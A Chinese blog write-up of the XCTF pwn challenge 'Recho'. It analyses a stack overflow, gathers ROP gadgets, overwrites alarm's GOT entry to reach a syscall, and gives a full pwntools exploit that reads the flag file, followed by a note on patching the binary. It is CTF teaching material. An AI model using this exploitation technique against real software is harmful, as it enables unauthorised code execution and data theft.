攻防世界进阶题Recho——知识点缝合怪

攻防世界进阶题Recho——知识点缝合怪

文章目录

  • 攻防世界进阶题Recho——知识点缝合怪
      • 引入
      • 初分析
        • 1、checksec
        • 2、主函数结构
        • 3、栈结构
        • 4、特殊字符串
      • 解题过程
        • 1、gadget搜集
        • 2、GOT表详情
        • 3、函数参数说明
      • exp(详细注释)
      • 后记

引入

好久没有做pwn题了,手生的厉害,做道简单题练练手好了

这道题其实难度不高,属于那种开门见山把漏洞点抛出任君采撷的题,但是由于涉及的知识点较多,在ROP链构造时需要有清晰的思路,对于我这样的小白来说自然是再好不过的练习题。

初分析

1、checksec

题目拿到手上,第一件事还是checksec

攻防世界进阶题Recho——知识点缝合怪_第1张图片

发现只有NX(栈不可执行)打开了

2、主函数结构

ida反汇编伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr[16]; // [rsp+0h] [rbp-40h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  int v6; // [rsp+38h] [rbp-8h] var_8
  int v7; // [rsp+3Ch] [rbp-4h] var_4

  Init();
  write(1, "Welcome to Recho server!\n", 0x19uLL);
  while ( read(0, nptr, 0x10uLL) > 0 )
  {
    v7 = atoi(nptr);                            // 输入希望读入的字符长度
    if ( v7 <= 15 )
      v7 = 16;                                  // 至少读入16个字符
    v6 = read(0, buf, v7);                      // 读入缓冲区,v6记录读入长度
    buf[v6] = 0;                                // 加入截断
    printf("%s", buf);
  }
  return 0;
}

显而易见的栈溢出

3、栈结构

攻防世界进阶题Recho——知识点缝合怪_第2张图片

buf距离return地址0x38字节

4、特殊字符串

data段的小提示

image-20210920153355615

解题过程

其实解题思路已经很明显了,整个栈空间都在控制内,又给出了提示“flag”文件名,故整体思路如下

  • 挟持GOT,调用open函数打开flag
  • 用read函数把flag文件中的内容读入bss段缓存区(可读可写)
  • 用printf函数把缓存区中的内容输出

1、gadget搜集

由于涉及到ROP对函数调用,又是x86-64架构的系统,函数参数主要通过寄存器传递,所以需要找到控制相应寄存器的gadget

并且为了更改GOT表项的值,还需要一个可以改变特定地址值的地址

攻防世界进阶题Recho——知识点缝合怪_第3张图片

已知函数参数主要通过寄存器传递,前三个参数分别放在rdi,rsi,rdx寄存器中,幸运的是,这三条指令都存在(0x4008a3、0x4008a1, 0x4006fe),这样我们就不需要用到One_gadget去硬凑了(有关万能One_gadget的相关知识)。同时,我们也顺利的找到了所需的改值gadget(0x40070d)

2、GOT表详情

需要更改GOT表项以获得open函数,所以看看plt表中有哪些函数(关于GOT,PLT和延迟绑定机制)

攻防世界进阶题Recho——知识点缝合怪_第4张图片

因为alarm函数不需要用到,所以计划将alarm函数的got表项改为system_call这个系统调用接口函数,这个函数在使用时只需改变保存在eax中的系统调用号即可调用系统函数。

3、函数参数说明

  • open

    int open(const char *pathname, int oflag, ... /* mode_t mode */);
    

    其中,open函数的mode有以下几种

    • O_RDONLY 只读打开
    • O_WRONLY 只写打开
    • O_RDWR 读写打开

    对于这道题,使用O_RDONLY(0)即可

  • read

    ssize_t read(int fd,void*buf,size_t count)
    

    其中,fd指文件描述符,open函数的返回的描述符一般由3开始,作为程序打开的第一个文件,flag的描述符应为3

  • printf

    int printf(const char *format, ...);
    

    由于只用到printf函数的输出功能,所以在调用的时候直接把buf的地址传入就可以了

exp(详细注释)

#coding : utf-8
from pwn import *
context.log_level = 'debug'
p = process("./Recho")
e = ELF("./Recho")


alarm_plt = p64(e.plt["alarm"])
alarm_got = p64(e.got["alarm"])
read_plt = p64(e.plt["read"])
printf_plt = p64(e.plt["printf"])

gadget1 = p64(0x40089a)
gadget2 = p64(0x400880)
prax = p64(0x4006fc)
prsi_r15 = p64(0X4008a1)
prdi = p64(0x4008a3)
prdx = p64(0x4006fe)
rdi_addrax = p64(0x40070d)
bss_buf = p64(0x601590)
flag = p64(0x601058)



########    cover ret  ########
payload = "A"*0x38

########    open(flag)  ########
# rdi = alarm_got
payload += prdi + alarm_got
#alarm_got -> call system call
payload += prax + p64(0X5)
payload += rdi_addrax
# rsi = 0(READONLY)
payload +=  prsi_r15 + p64(0x0) + p64(0x0)
# rdi = "flag"
payload += prdi + flag
# rax = 2 (sys_call_table[2] = open)
payload += prax + p64(0x2)
# rdx = 0
payload += prdx + p64(0x0)
# call syscall
payload += alarm_plt

########    read(open_result)   ########
# rdi = file   file descriptor (AKA fd), starts from 3
payload += prdi + p64(0x3)
# rsi = buf
payload += prsi_r15 + bss_buf + p64(0x0)
# rdx = 100
payload += prdx + p64(0x30)
# call read
payload+=read_plt

########    print(buf)   ########
payload += prdi + bss_buf + printf_plt

p.recvuntil('Welcome to Recho server!\n')
p.sendline(str(0x200))
payload=payload.ljust(0x200,'\x00')
p.send(payload)
p.recv()
p.shutdown('send')
p.interactive()
p.close()

后记

用IDA把源程序的漏洞修补了一下,变成了这样

攻防世界进阶题Recho——知识点缝合怪_第5张图片

修改效果

攻防世界进阶题Recho——知识点缝合怪_第6张图片

你可能感兴趣的:(学习笔记,rop,pwn,libc)